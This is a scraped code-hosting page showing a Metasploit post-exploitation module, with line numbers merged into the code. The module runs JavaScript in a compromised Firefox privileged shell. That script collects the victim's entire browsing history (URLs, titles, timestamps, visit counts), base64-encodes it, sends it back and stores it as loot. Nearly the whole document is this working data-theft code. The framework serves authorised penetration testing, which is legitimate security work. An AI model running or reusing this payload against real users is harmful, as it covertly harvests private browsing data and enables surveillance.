Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/firefox/gather/history.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'json'67class MetasploitModule < Msf::Post8include Msf::Exploit::Remote::FirefoxPrivilegeEscalation910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Firefox Gather History from Privileged Javascript Shell',15'Description' => %q{16This module allows collection of the entire browser history from a Firefox17Privileged Javascript Shell.18},19'License' => MSF_LICENSE,20'Author' => [ 'joev' ],21'DisclosureDate' => '2014-04-11'22)23)2425register_options([26OptInt.new('TIMEOUT', [true, 'Maximum time (seconds) to wait for a response', 90])27])28end2930def run31results = js_exec(js_payload)32if results.present?33begin34history = JSON.parse(results)35history.each do |entry|36entry.each_key { |k| entry[k] = Rex::Text.decode_base64(entry[k]) }37end3839file = store_loot('firefox.history.json', 'text/json', rhost, history.to_json)40print_good("Saved #{history.length} history entries to #{file}")41rescue JSON::ParserError => e42print_warning(results)43end44end45end4647def js_payload48%|49(function(send){50try {51var service = Components52.classes["@mozilla.org/browser/nav-history-service;1"]53.getService(Components.interfaces.nsINavHistoryService);54var b64 = Components.utils.import("resource://gre/modules/Services.jsm").btoa;5556var query = service.getNewQuery();57var options = service.getNewQueryOptions();58var result = service.executeQuery(query, options);59var fields = [];60var entries = [];6162var root = result.root;63root.containerOpen = true;6465for (var i = 0; i < result.root.childCount; ++i) {66var child = result.root.getChild(i);67if (child.type == child.RESULT_TYPE_URI) {68entries.push({69uri: b64(child.uri),70title: b64(child.title),71time: b64(child.time),72accessCount: b64(child.accessCount)73});74}75}7677result.root.containerOpen = false;7879send(JSON.stringify(entries));80} catch (e) {81send(e);82}83})(this.send);84|.strip85end86end878889